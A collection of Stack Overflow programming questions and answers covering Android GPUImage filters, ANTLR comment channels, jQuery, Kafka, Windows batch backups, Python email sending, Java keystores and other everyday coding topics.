mCurrentEffect; private Context mContext; private Activity mActivity = null; private TextView mFiltersText; public CameraFiltersFactory(Context c, ImageView filteredImage, TextView filteredText) { mImageView = filteredImage; mImageView.setTag(this); mContext = c; mCameraImage = new GPUImage(mContext); if(filteredText != null) { mFiltersText = filteredText; mFiltersText.setVisibility(View.VISIBLE); } if(mImageView != null) mActivity = (Activity) mContext; } public void generateFilteredBitmap(Bitmap bmp, int filtertype, boolean isPreview) { mCurrentEffect = filtertype; switch (mCurrentEffect) { case R.id.blackandwhite: mCameraImage.setFilter(new GPUImagePlusGrayscaleFilter(isPreview)); break; case R.id.cool: mCameraImage.setFilter(new GPUImagePlusCoolFilter(isPreview)); break; case R.id.cool2: mCameraImage.setFilter(new GPUImagePlusCool2Filter(isPreview)); break; case R.id.faded: mCameraImage.setFilter(new GPUImagePlusFadedFilter(mContext, isPreview)); break; case R.id.hipster: mCameraImage.setFilter(new GPUImagePlusHipsterFilter(mContext, isPreview)); break; case R.id.sepia: mCameraImage.setFilter(new GPUImagePlusSepiaFilter(isPreview)); break; case R.id.vivid: mCameraImage.setFilter(new GPUImagePlusVividFilter(isPreview)); break; case R.id.warm: mCameraImage.setFilter(new GPUImagePlusWarmFilter(mContext, isPreview)); break; default: Log.d("NONE", "None FAIT CHIER"); break; } mCameraImage.deleteImage(); mCameraImage.setImage(bmp); mFilteredBitmap = mCameraImage.getBitmapWithFilterApplied(); } @SuppressLint("SimpleDateFormat") public void save(Bitmap bitmap, int filter_id, GPUImage.OnPictureSavedListener ofsl) { Log.d("NONE", "Save request with filter: "+filter_id); generateFilteredBitmap(bitmap, filter_id, false); String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date()); String fileName = timeStamp + ".jpg"; mCameraImage.saveToPictures(mFilteredBitmap, CameraSettings.CAMERA_ROLL_FOLDER, fileName, true, ofsl); } } </code></pre> <p>This code is working fine in the List view.</p> <p>Once I click on a picture from the ListView, I get his position, stop Executor from the adapter and ask to the FilterFactory for a rendering.</p> <p>If In the listview I wait that all the preview list image are showing the filter rendering, and then I click, the filter is correctly applied on the original bmp.</p> <p>In case, I'm scrolling quickly down and the GPU is in progress to render the preview iamge and then click, the original bmp is not filtered. I have check that in both case, when I click the list view give the right filter position and that the case. It seems that if a rendering is in progress, I'm not able to cancel and ask for a new one.</p> <p>Any idea why ? Any idea if I can cancel the current GPU rendering and start a new one. ?</p> <p>Thanks</p>
12285636	0	Recovering css class name <p>How can I recover a Css class that was add via JQuery in my <code>&lt;asp:TextBox&gt;</code> component ?</p> <p>Example:</p> <p><strong>ASPX</strong> </p> <p><code>&lt;asp:TextBox ID='txtTest' runat='server' CssClass='inputText'&gt;&lt;/asp:TextBox&gt;</code></p> <p><strong>JQUERY</strong></p> <p><code>$('#txtTest').addClass('testClass');</code></p> <p><strong>Page Renderized</strong></p> <p><code>&lt;input type='text' ID='txtTest' CssClass='inputText testClass' /&gt;</code></p> <p><strong>Code Behind</strong></p> <p>How can I recover the <code>testClass</code> that was add via Jquery in my <code>&lt;asp:TextBox&gt;</code> component ?</p> <p>I tryied <code>this.txtTest.CssClass</code> but return just <code>inputText</code> class. </p>
34730162	0	ANTLR 4 - How to access hidden comment channel from custom listener? <p>Writing a pretty-printer for legacy code in an older language. The plan is for me to learn parsing and unparsing before I write a translator to output C++. I kind of got thrown into the deep end with Java and ANTLR back in June, so I definitely have some knowledge gaps.</p> <p>I've gotten to the point where I'm comfortable writing methods for my custom listener, and I want to be able to pretty-print the comments as well. My comments are on a separate hidden channel. Here are the grammar rules for the hidden tokens:</p> <pre><code>/* Comments and whitespace -- Nested comments are allowed, each is redirected to a specific channel */ COMMENT_1 : '(*' (COMMENT_1|COMMENT_2|.)*? '*)' -&gt; channel(1) ; COMMENT_2 : '{' (COMMENT_1|COMMENT_2|.)*? '}' -&gt; channel(1) ; NEWLINES : [\r\n]+ -&gt; channel(2) ; WHITESPACE : [ \t]+ -&gt; skip ; </code></pre> <p>I've been playing with the Cymbol CommentShifter example on p. 207 of The Definitive ANTLR 4 Reference and I'm trying to figure out how to adapt it to my listener methods.</p> <pre><code>public void exitVarDecl(ParserRuleContext ctx) { Token semi = ctx.getStop(); int i = semi.getTokenIndex(); List&lt;Token&gt; cmtChannel = tokens.getHiddenTokensToRight(i, CymbolLexer.COMMENTS); if (cmtChannel != null) { Token cmt = cmtChannel.get(0); if (cmt != null) { String txt = cmt.getText().substring(2); String newCmt = "// " + txt.trim(); // printing comments in original format rewriter.insertAfter(ctx.stop, newCmt); // at end of line rewriter.replace(cmt, "\n"); } } } </code></pre> <p>I adapted this example by using <code>exitEveryRule</code> rather than <code>exitVarDecl</code> and it worked for the Cymbol example but when I adapt it to my own listener I get a null pointer exception whether I use <code>exitEveryRule</code> or <code>exitSpecificThing</code></p> <p>I'm looking at <a href="http://stackoverflow.com/a/18636296/3788802">this answer</a> and it seems promising but I think <strong>what I really need is an explanation of how the hidden channel data is stored and how to access it.</strong> It took me months to really get listener methods and context in the parse tree.</p> <p>It seems like <code>CommonTokenStream.LT()</code>, <code>CommonTokenStream.LA()</code>, and <code>consume()</code> are what I want to be using, but why is the example in that SO answer using completely different methods from the ANTLR book example? What should I know about the token index or token types?</p> <p>I'd like to better understand the logic behind this.</p>
16973753	0	 <p>You are simply over complicating things.</p> <p>This should do the job</p> <pre><code>$(function () { $('p.active').hide(); $('.mosaic-block').click(function () { var $this =$(this); $('.mosaic-block').removeClass('mosaic-block-highlighted'); $this.addClass('mosaic-block-highlighted'); $('p.active').hide(); // traverse to the closest `imgBlock` class and // find the p.active element and show it $this.closest('.imgBlock').find('p.active').show(); }); }); </code></pre> <p><strong><a href="http://jsfiddle.net/sushanth009/pQLhy/2/" rel="nofollow">Check Fiddle</a></strong></p>
20421720	0	 <blockquote> <p>consumer reads for a while and then shuts down due to any reason</p> </blockquote> <p>Not sure what exactly are you referring to as the consumer is supposed to run infinitely unless it is stopped explicitly. </p> <p>Now assuming you are using the storm's <a href="https://github.com/nathanmarz/storm-contrib/tree/master/storm-kafka" rel="nofollow">KafkaSpout</a> implementation, there is a config called <code>forceStartOffsetTime</code> which is used <code>to force the spout to rewind to a previous offset</code>. The way to use it as follows </p> <pre><code> spoutConfig.forceStartOffsetTime(-2); </code></pre> <p>As seen in the doc page </p> <blockquote> <p>It will choose the latest offset written around that timestamp to start consuming. You can force the spout to always start from the latest offset by passing in -1, and you can force it to start from the earliest offset by passing in -2.</p> </blockquote> <p>so setting it to -2 will always force it to read from the start what is the configuration you are using, would be great if you could post some code</p>
27720368	0	 <p>Make sure socket.io script is included and define sensor var for get it working as </p> <pre><code>var socket = io('http://localhost'); </code></pre> <p>And finally get sure clicked function is getting called when event is fired.</p> <p>Hope it helps!</p>
35446591	0	How do you make a primary key with Valentina Studio? <p>Creating a table with fields in Valentina Studio with a primary key 'id'. How do you set a primary key with Valentina? I know how to in the terminal.</p>
23698601	0	 <p>First of all, Console.WriteLine(" " + d1.n); will give you DVD:DVD because base means use the parent class' constructor. So, when you send your parameters into your D class, it is sending your code to your M class, it is executing it which gives you "DVD" on your screen and then it is changing the value of n. After that you are sending the "Unknown" value your M class directly which is not related with your D class anymore and it is showing you "Unknown" on your screen. At the end you are requesting D class' n value which is already "DVD". So the result is DVD Unknown DVD:DVD. I hope this makes sense for you.</p>
27422686	0	Batch file help please with if exist <p>We have this printer management software that comes with built-in backup/restore command to backup its database. </p> <p>And I need to create a batch file that will:</p> <p>1a. check if folder name <code>OLD</code> exist on <code>C:\mybackup\</code> </p> <p>1b. if it does then remove the folder and the contents, then </p> <p>2a. check if <code>C:\mybackup\*.bak</code> exist </p> <p>2b. if it does then create a folder called <code>OLD</code> in <code>C:\mybackup\</code> </p> <p>2c. then move <code>C:\mybackup\*.bak</code> to <code>C:\mybackup\OLD</code> </p> <p>then run backup command which creates multiple <code>.bak</code> files on <code>C:\mybackup\</code></p> <ol start="3"> <li><code>scBackup64.exe -b C:\mybackup\</code> exit</li> </ol> <p>I can only think of the commands, I wonder how to wrap it up with <code>IF THEN ELSE</code> or <code>IF EXIST</code></p> <pre><code>@echo off RD /S /Q C:\mybackup\OLD MKDIR C:\mybackup\OLD MOVE /Y C:\mybackup\*.bak C:\mybackup\OLD scBackup64.exe -b C:\mybackup\ </code></pre>
17081069	0	Encryption password algorithms on OpenLDAP <p>a question about OpenLDAP. Where can I find some informations about OpenLDAP supported password encryption algorithms on last version (2.4.35)? </p>
15927119	0	How to map an array with async.js? <p>I would like to iterate over a list of objects and get an array as the results of the items that pass a condition. Something like this:</p> <pre><code>var list = [{foo:"bar",id:0},{foo:"baz",id:1},{foo:"bar",id:2}]; async.map(list, function(item, cb) { if (item.foo === "bar") cb(null, item.id); else cb(); // do nothing }, function(err, ids) { console.log(ids); }); </code></pre> <p>I don't want any error callback if the condition isn't passed. Only an array with the ids of the elements.</p>
36122947	0	 <p>Use Html.ActionLink from LinkExtensions passing the "toc" to the fragment parameter:</p> <p><a href="https://msdn.microsoft.com/en-us/library/dd460522.aspx" rel="nofollow">https://msdn.microsoft.com/en-us/library/dd460522.aspx</a></p>
14250715	0	servicestack ormlite sqlite DateTime getting TimeZone adjustment on insert <p>i'm trying ormlite. i'm finding that when i insert an object with a DateTime property, it is getting -8:00 (my timezone is +8) applied by ormlite. It should be inserted with literally what the time is. in my case it is already UTC.</p> <p>however reading the values out of ormlite, the +8 is not getting re-applied.</p> <p>is this a known bug?</p> <p>thanks</p>
34846824	0	 <p>I see two possibilities:</p> <ol> <li>You are mistaken that the <code>try</code>-block is throwing an exception: maybe no exception is being thrown, or maybe there <em>is</em> an exception being thrown, but it's being caught before the end of the <code>try</code>-block. <ul> <li>You can double-check by adding logging statements at the end of the <code>try</code>-block and immediately before any <code>return</code> or <code>break</code> or <code>continue</code> statement that could exit the <code>try</code>-block prematurely.</li> </ul></li> <li>The exception-type you are catching is not the usual <code>java.lang.Throwable</code>, but rather, some other <code>Throwable</code> class that you have explicitly defined and/or imported. <ul> <li>You can double-check by changing <code>Throwable</code> to the more-explicit <code>java.lang.Throwable</code>.</li> </ul></li> </ol>
36089480	0	Terminate/Close Last Activity <p>Can you show and explain me how to close the last activity/class that you open In Android.</p> <p>I want my activity to close the last activity/class when he opens a new activity/class.</p>
16531507	0	 <p>You're missing quotes around your <code>&lt;cfinput&gt;</code> tag. You need to use a single quote here to concatenate properly.</p> <pre><code>&lt;cfscript&gt; for ( i=1; i &lt;= myQuery.recordCount; i++ ) { writeoutput ("&lt;tr " &amp; a &amp; "&gt;&lt;td&gt;" &amp; i &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.UserID[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.FName[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.SName[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.Phone[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.DateJoined[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; myQuery.Address[i] &amp; "&lt;/td&gt;" &amp; "&lt;td&gt;" &amp; '&lt;input type="checkbox" name="post_home"&gt;' &amp; "&lt;/td&gt;&lt;/tr&gt;"); } &lt;/cfscript&gt; </code></pre> <p>Alternatively you could put your last line all in single quotes.</p> <pre><code>'&lt;td&gt;&lt;input type="checkbox" name="post_home"&gt;&lt;/td&gt;&lt;/tr&gt;'); </code></pre>
8024555	0	 <p>Just a quick hunch: </p> <p>Have you tried calling glShaderSource with NULL as length parameter? In that case OpenGL will assume your code to be null-terminated.</p> <p>(Edited because of stupidity)</p>
21637309	0	Rally Lookback: help fetching all history based on future state <p>Probably a lookback newbie question, but how do I return <strong>all</strong> of the history for stories based on an attribute that gets set later in their history?</p> <p>Specifically, I want to load all of the history for all stories/defects in my project that have an accepted date in the last two weeks.</p> <p>The following query (below) doesn't work because it (of course) only returns those history records where accepted date matches the query. What I actually want is all of the history records for any defect/story that is eventually accepted after that date...</p> <pre><code>filters : [ { property: "_TypeHierarchy", value: { $nin: [ -51009, -51012, -51031, -51078 ] } }, { property: "_ProjectHierarchy", value: this.getContext().getProject().ObjectID }, { property: "AcceptedDate", value: { $gt: Ext.Date.format(twoWeeksBack, 'Y-m-d') } } ] </code></pre>
37585406	0	 <p>I think your <code>message.string</code> is <code>nil</code> when passed to <code>UIAlertController</code>. Check it twice. </p> <p>Print <code>message</code> after getting so you know that what you get in it.</p> <p>You can put breakpoints also to check that you are getting data or not.</p>
27292200	0	 <p>Here is the code to fetch the version and patch details</p> <pre><code> String queryString = "com.bea:Name=DomainRuntimeService,Type=weblogic.management.mbeanservers.domainruntime.DomainRuntimeServiceMBean"; ObjectName objectName1; objectName1 = new ObjectName(queryString); ObjectName[] serverRuntimes = (ObjectName[]) connection.getAttribute(objectName1, "ServerRuntimes"); String patch= (String) connnection.getAttribute(serverRuntimes[0], "WeblogicVersion"); </code></pre> <p>this give the following sample value "WebLogic Server 10.3.6.0.3 PSU Patch for BUG14796139 Fri Nov 23 10:16:54 IST 2013 WebLogic Server 10.3.9.0 Tue Nov 15 08:52:36 PST 2011 1841050"</p>
3093790	0	 <p>normally you use Number() or parseInt("", [radix]) to parse a string into a real number.</p> <p>I am guessing you are asking about what happens when the string you parse is above the int - threshold. in this case it greatly depends on what you are trying to accomplish. </p> <p>There are some libraries that allow working with big numbers such as <a href="http://www.leemon.com/crypto/BigInt.js" rel="nofollow noreferrer">http://www.leemon.com/crypto/BigInt.js</a> (did not test it, but it looks ok). Also try searching for BigInt javascript or BigMath.</p> <p>In short: working with VERY large number or exact decimals is a challenge in every programming language and often requires very specific mathematical libraries (which are less convenient and often a lot slower then when you work in "normal" (int/long) areas) - which obviously is not an issue when you REALLY want those big numbers.</p>
15757712	0	 <p>Note that from April 2013 ("<a href="https://github.com/blog/1451-branch-and-tag-labels-for-commit-pages" rel="nofollow noreferrer">Branch and Tag Labels For Commit Pages</a>"):</p> <ul> <li>Any commit can mention the branch it is part of:</li> </ul> <p><img src="https://i.stack.imgur.com/mb9HQ.png" alt="branch part of commit"></p> <blockquote> <p>If the commit is not on the default branch, the indicator will show the branches which contain the commit. <strong>If the commit is part of an unmerged pull request, a link will be shown</strong>.</p> </blockquote> <p><img src="https://i.stack.imgur.com/GAN5L.png" alt="Link to pull request"></p> <p>That means referencing a commit from the issue will allow the user to see the branch (by looking at the commit), and even to see a link back to the issue (still by looking at the commit).</p>
18251196	0	 <p><a href="http://docs.oracle.com/javase/tutorial/essential/exceptions/finally.html" rel="nofollow">oracle docs</a> provide a good answer to this. Bottom line: finally gets called always! Even when you catch only one kind of exception (not the global catch), then finally gets called (after which your application probably breaks if there is no other catch)</p>
31492043	0	 <p>The server is reading lines but the client isn't writing lines. Add a line terminator to the message, or use <code>BufferedWriter.newLine()</code>.</p>
16381538	0	 <p>Yes ; here is the code :</p> <pre><code>import smtplib fromMy = 'yourMail@yahoo.com' # fun-fact: from is a keyword in python, you can't use it as variable, did abyone check if this code even works? to = 'SomeOne@Example.com' subj='TheSubject' date='2/1/2010' message_text='Hello Or any thing you want to send' msg = "From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( fromMy, to, subj, date, message_text ) username = str('yourMail@yahoo.com') password = str('yourPassWord') try : server = smtplib.SMTP("smtp.mail.yahoo.com",587) server.login(username,password) server.sendmail(fromMy, to,msg) server.quit() print 'ok the email has sent ' except : print 'can\'t send the Email' </code></pre>
279746	0	 <p>A quick workaround is to set the following in your deploy.rb file:</p> <pre><code>set :deploy_via, :copy </code></pre> <p>This will cause the checkout to occur on your own machine and then be copied to the deployment server.</p>
34862605	0	 <p>This approach have better performance, cause you are setting the find to a var and doing a loop instead of doind a loop with the find.</p> <pre><code>var child = $('#room_remove'+id).find('li'); if(child.length &gt; 0){ var li = ""; child.each(function(){ li += "&lt;li&gt;"+$(this).text()+"&lt;/li&gt;"; }); } $(".mauDIDROP").append($(li)); </code></pre>
6341566	0	 <p>The terminology is a bit confusing indeed, but both <code>javax.net.ssl.keyStore</code> and <code>javax.net.ssl.trustStore</code> are used to specify which keystores to use, for two different purposes. Keystores come in various formats and are not even necessarily files (see <a href="http://stackoverflow.com/questions/6157550/question-on-java-keystores/6157716#6157716">this question</a>), and <code>keytool</code> is just a tool to perform various operations on them (import/export/list/...).</p> <p>The <code>javax.net.ssl.keyStore</code> and <code>javax.net.ssl.trustStore</code> parameters are the default parameters used to build <code>KeyManager</code>s and <code>TrustManager</code>s (respectively), then used to build an <code>SSLContext</code> which essentially contains the SSL/TLS settings to use when making an SSL/TLS connection via an <code>SSLSocketFactory</code> or an <code>SSLEngine</code>. These system properties are just where the default values come from, which is then used by <code>SSLContext.getDefault()</code>, itself used by <code>SSLSocketFactory.getDefault()</code> for example. (All of this can be customized via the API in a number of places, if you don't want to use the default values and that specific <code>SSLContext</code>s for a given purpose.)</p> <p>The difference between the <code>KeyManager</code> and <code>TrustManager</code> (and thus between <code>javax.net.ssl.keyStore</code> and <code>javax.net.ssl.trustStore</code>) is as follows (quoted from the <a href="http://download.oracle.com/javase/6/docs/technotes/guides/security/jsse/JSSERefGuide.html#RelsTM_KM">JSSE ref guide</a>):</p> <blockquote> <p>TrustManager: Determines whether the remote authentication credentials (and thus the connection) should be trusted.</p> <p>KeyManager: Determines which authentication credentials to send to the remote host.</p> </blockquote> <p>(Other parameters are available and their default values are described in the <a href="http://download.oracle.com/javase/6/docs/technotes/guides/security/jsse/JSSERefGuide.html#Customization">JSSE ref guide</a>. Note that while there is a default value for the trust store, there isn't one for the key store.)</p> <p>Essentially, the keystore in <code>javax.net.ssl.keyStore</code> is meant to contain your private keys and certificates, whereas the <code>javax.net.ssl.trustStore</code> is meant to contain the CA certificates you're willing to trust when a remote party presents its certificate. In some cases, they can be one and the same store, although it's often better practice to use distinct stores (especially when they're file-based).</p>
6051726	0	 <p>You probably want to check if the device supports <a href="http://msdn.microsoft.com/en-us/library/dd389295%28v=VS.85%29.aspx" rel="nofollow">WPD</a>, the replacement of WIA in Vista or later. If the device does not support WPD, then try access the device with <a href="http://msdn.microsoft.com/en-us/library/ms630814%28v=vs.85%29.aspx" rel="nofollow">WIA Automation Layer</a>. It can't handle WIA device-specific problems for sure, but at least it is good for standardized behavior. If neither WPD nor WIA is supported, I am afraid you have to deal with the old TWAIN interface.</p> <p>The <a href="http://msdn.microsoft.com/en-us/library/ff553346%28v=VS.85%29.aspx" rel="nofollow">WIA documentation in Windows Driver Kit</a> is on par with the documentation in Windows SDK. Don't be surprised if a driver developer fails to follow the WIA driver guidelines. If you travel WIA scanner trees, make sure you are aware of the difference of tree layout for <a href="http://msdn.microsoft.com/en-us/library/ff552775%28v=VS.85%29.aspx" rel="nofollow">Windows XP</a>, <a href="http://msdn.microsoft.com/en-us/library/ff552772%28v=VS.85%29.aspx" rel="nofollow">Vista</a> and <a href="http://msdn.microsoft.com/en-us/library/ff552766%28VS.85%29.aspx" rel="nofollow">Windows 7</a>.</p> <p>There is a discussion about wrappers of these APIs for .Net applications at <a href="http://stackoverflow.com/questions/39276/net-scanning-api">.NET Scanning API</a>.</p>
3815540	0	 <p>Cocos2d can support isometric maps. To get started with Cocos2d, there is nothing better than <a href="http://www.raywenderlich.com/1163/how-to-make-a-tile-based-game-with-cocos2d" rel="nofollow">Ray Wenderlich's multiple part tutorial</a>! It doesn't cover isometric projections, but you'll still need to know the basics of cocos2d.</p> <p>Note that Cocos2d is open source and, thus, you could study the source to see how it implements isometric projections if you decide to roll your own solution.</p>
6420430	0	301 Redirect to URL with named anchor using IIS <p>I am trying to figure out how I can perform a 301 redirect from: <a href="http://www.examplesite.com/news" rel="nofollow">http://www.examplesite.com/news</a> to <a href="http://www.examplesite.com#news" rel="nofollow">http://www.examplesite.com#news</a> using IIS 6.0</p> <p>Are there any issues associated with redirecting to a URL containing a hash that I should be aware of? Is it any different to performing a regular 301 redirect using IIS?</p> <p>Thanks.</p>
32670231	0	 <p>Doesn't look like the ShareTarget/DataTransfer APIs are available in the API set that's tagged as being <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/dn554295%28v=vs.85%29.aspx" rel="nofollow">okay to use from Desktop</a> so it looks like you're out of luck for now.</p>
23186238	0	Passing image parameter c# windows Phone <p>Hi I'm trying to pass an image as a parameter within a Windows Phone app. The user is able to click a thumbnail of an image and then be directed to a new page with a full size copy of that image.</p> <p>I have tried the following but get a red line error under "image.SetSource(e.OriginalSource);" below? Obviously then the gesture event is not suitable but I don't know what else I could use?</p> <p>Here is the event code when the user clicks on one of the images. The image is nameed flickr1Image.</p> <pre><code> private void flickr1Image_Tap(object sender, System.Windows.Input.GestureEventArgs e) { if (e.OriginalSource != null) { //Edits if (PhoneApplicationService.Current.State.ContainsKey("Image")) if (PhoneApplicationService.Current.State["Image"] != null) PhoneApplicationService.Current.State.Remove("Image"); System.Windows.Media.Imaging.BitmapImage image = new System.Windows.Media.Imaging.BitmapImage(); image.SetSource(e.OriginalSource); this.flickr1Image.Source = image; PhoneApplicationService.Current.State["Image"] = image; } } </code></pre> <p>Below is the code executed to load the image into the page. I was hoping the code below would work of all images passed to it?</p> <pre><code> protected override void OnNavigatedTo(NavigationEventArgs e) { BitmapImage image = new System.Windows.Media.Imaging.BitmapImage(); image = (BitmapImage)PhoneApplicationService.Current.State["Image"]; PhoneApplicationService.Current.State.Remove("Image"); this.flick.Source = image; } </code></pre> <p>Help please</p> <p>many thanks</p>
31454561	0	 <p>Right click on the hyperlink and click "Copy Hyperlink". Then paste to your favorite text editor. This is with Outlook 2007.</p>
6455535	0	 <p>You can create «MY_Model» place it on «Application/core». You can afterwards, extend «MY_Model», instead of «CI_Model». Actually, you can have many models on «MY_Model» (using require_once(APPPATH.'/core/some_other_model_name.php')), since «Codeigniter» only suports loading one MY_MODEL. To finish, you can then, on your models, extend from «some_other_model_name». This means that you can actually, inherit from a diferent model, solving your nead on loading a model into model.</p> <p>This link is for MY_Controller but same principle applies for MY_Model <a href="http://codeigniter.com/wiki/MY_Controller_-_how_to_extend_the_CI_Controller/" rel="nofollow">http://codeigniter.com/wiki/MY_Controller_-_how_to_extend_the_CI_Controller/</a></p> <p>Hope this helps!</p>
37272463	0	 <p>Just for future users:</p> <p>Laravel 5 using form requests:</p> <pre><code>'birthday' =&gt; 'before:today', // Doesn't accept today date 'birthday' =&gt; 'before:tomorrow', // Accept today date </code></pre>
30158254	1	Storing an object of a class then calling a function in that object <p>I have a class like this (scaled down)</p> <pre><code>class FileAndWriter(object): def __init__(self, symbol, start_dt_str): self.data = [] self.fileName = symbol.replace("/", "") + '-' + start_dt_str + '.csv' self.file = open(self.fileName, 'ab') self.csvWiter = csv.writer(self.file, delimiter=',') # , quoting=csv. QUOTE_ALL def write_rows(self): self.csvWiter.writerows(self.data) self.file.flush() def appendData(dataMsg): try: self.data.append(dataMsg) if len(self.data) &gt; 100: self.write_rows(self.data) self.data = [] except: print "appendData error:", sys.exc_info()[0] </code></pre> <p>I have another class that composes that class like this. <code>update</code> is a callback function of Observer:</p> <pre><code>class SymbolWriter(Observer): def __init__(self, symbol, sd, ed): self.writers = {} self.symbol = symbol self.start_date = sd self.end_date = ed for single_date in daterange(self.start_date, self.end_date): single_date_str = single_date.strftime('%Y%m%d') faw = FileAndWriter(self.symbol, single_date_str) print 'FAW ', single_date_str self.writers[single_date_str] = faw def update(self, dataMsg): try: today = datetime.datetime.utcnow() today_str = today.strftime('%Y%m%d') print today_str if today_str in self.writers: #print 'Writting' faw = self.writers[today_str] if faw is not None: faw.appendData(dataMsg) except: print "update error:", sys.exc_info()[0] </code></pre> <p>It excepts on <code>faw = self.writers[today_str]</code> with <code>update error: &lt;type 'exceptions.TypeError'&gt;</code></p> <p>How does one store an object in a dictionary and call a member function? Or is there something else I am not noticing?</p>
23598373	0	 <p>If you are sure your json is well formatted just add :</p> <pre><code>ob_clean(); </code></pre> <p>before <code>echo(...)</code> instruction</p>
17050737	0	 <p>You apply <code>.hover()</code> on the <code>a</code> only. So when you hover the <code>a</code>, the image appear hover your <code>a</code> wich mean you are not hover the <code>a</code> anymore. That will fire the second callback of <code>.hover()</code> and the image will disappear. Then again you are hover the <code>a</code> and it repeat infinitly.</p> <p>To solve that, you just have to bind the <code>.hover()</code> on the parent container or on both elements.</p>
13008809	0	 <pre><code> @using (Html.BeginForm()) { &lt;p&gt; &lt;input type="image" value="submit" src="../../Images/login_button.png" alt="submit Button"&gt; &lt;/p&gt; } </code></pre>
8378988	0	 <p>You can use UDP to multiple servers with the same socket. Probably the simplest way to do it is to have the client assign a session ID to each connection, include the session ID in each datagram it sends, and have the server return that session ID in each reply datagram it sends. Don't use the IP address to distinguish which server the packet is from because a server can have more than one IP address, making it unreliable.</p> <p>Just remember that if you use UDP, you don't get any of the things TCP adds. If you need any of them, you need to do them yourself. If you need all or most of them, TCP is a <em>much</em> better choice. TCP does:</p> <ul> <li><p>Session establishment</p></li> <li><p>Session teardown</p></li> <li><p>Retransmissions</p></li> <li><p>Transmit pacing</p></li> <li><p>Backoff and retry</p></li> <li><p>Out of order detection and rearrangement</p></li> <li><p>Sliding windows</p></li> <li><p>Acknowledgments</p></li> </ul> <p>If you need any of these things and choose to use UDP, you need to do them yourself.</p>
19442549	0	 <p>Better to install meta-package build-essential that consists of all typically needed soft for compilation.</p> <pre><code>sudo apt-get install build-essential </code></pre>
4150653	0	 <p>A low-budget way of doing this is:</p> <pre><code>start /min some.exe </code></pre> <p>This starts the program in a minimised console window, and doesn't wait for the second program to finish.</p>
8849649	0	 <p>For subdomains in routes check this <a href="http://blog.maartenballiauw.be/post/2009/05/20/ASPNET-MVC-Domain-Routing.aspx" rel="nofollow">guide to domain routing</a></p> <p>When you have it set up. for a specific redirection you can use this:</p> <pre><code>return RedirectToAction("SpecificAction", "SpecificController", new { subdomain = "blahblah"); </code></pre> <p>As for the post part, you can just use the TempData dictionary (TempData["varName"]) to pass the data to the next controller/action</p>
17141568	0	Error:The filename try.xlsx is not readable in excel_reader2.php <p>I want to read the Uploaded Excel file in php. so i downloaded excel_reader2.php</p> <p>from following link</p> <p><a href="https://code.google.com/p/php-excel-reader/downloads/list" rel="nofollow">link</a></p> <p>when I inserted this into my code i got following Error:</p> <pre><code>The filename try.xlsx is not readable. </code></pre> <p>My code is:</p> <pre><code>if (file_exists($filepath)) { echo "File present"; } else { die('The file ' . $filename . ' was not found'); } $data = new Spreadsheet_Excel_Reader($filename,false); $data-&gt;read($filename); $data-&gt;val(1, 'A'); echo $data; </code></pre> <p>So after searching in Google I got link that is <a href="http://stackoverflow.com/questions/8983298/the-filename-feed1-xls-is-not-readable-in-php">Here</a></p> <p>After Following this also i am getting same error.</p> <p>So can any one help me, where I am going wrong?</p> <p>Thank you.</p>
30076155	0	Refresh Index after redirecting to it from AJAX call <p>I have a situation where I am setting a user value and trying to reload the index page. This is only a sample page and I cannot user any kind of user controls, like ASP.NET. Each user is in the database and the role is retrieved from there. My index is this:</p> <pre><code> [HttpGet] public ActionResult Index(long? id) { AdminModel admin = new AdminModel(); UserModel usermodel = new UserModel(); if (id != null) { admin.UserModel = usermodel; admin.UserModel.UserId = id.ToString(); admin.UserModel = UserAndRoleRepository.GetOrStoreUserProfile(admin.UserModel.UserId); } else { admin.UserModel = usermodel; admin.UserModel = UserAndRoleRepository.GetOrStoreUserProfile(currentUser); } return View(admin); } </code></pre> <p>This works fine when first loaded. In the page I am setting values based upon the user role:</p> <pre><code> $(document).ready(function () { debugger; user = function () { return @Html.Raw(Json.Encode(Model)) }(); if (user.UserModel != null) { if (user.UserModel.UserRole == 'ADMIN') { $("#btnAdmin").show(); $("#btnTran").show(); $("#btnNew").show(); $("#btnAdjust").show(); $("#btnReports").show(); } if (user.UserModel.UserRole == 'TRANS') { $("#btnReports").show(); $("#btnTran").show(); } if (user.UserModel.UserRole == 'REPORTS') { $("#btnReports").show(); } } }); </code></pre> <p>The AJAX call is this:</p> <pre><code> $.ajax({ type: 'POST', dataType: 'json', url: '@Url.Action("SetUser")', data: { userid: ui.item.value }, success: function (data) { if (data == null) { } else { } }, error: function (xhr) { //var err = xhr.responseText; //alert('error'); } }); </code></pre> <p>And the SetUser action:</p> <pre><code> [HttpPost] public ActionResult SetUser(string userid) { return RedirectToAction("Index", new { id = Convert.ToInt64(userid) }); } </code></pre> <p>This works fine in that the Index method is fired with the chosen ID, but the page does not reload to be able to set the buttons. Any ideas?</p>
33070119	0	 <p>I assume that you have the models <code>Show</code> and <code>User</code> connected by a <code>Following</code> model for the n:m relation.</p> <p>When you retrieve the shows, you can left join the Followings with a <code>user_id</code> of <code>current-user</code>. The result set will have the fields for Following set if there is such a following, and not if the user is not following. </p> <p>Note you need to <code>select</code> the fields from <code>Following</code> model explicitly, otherwise the join will only return fields from the <code>Show</code> model </p>
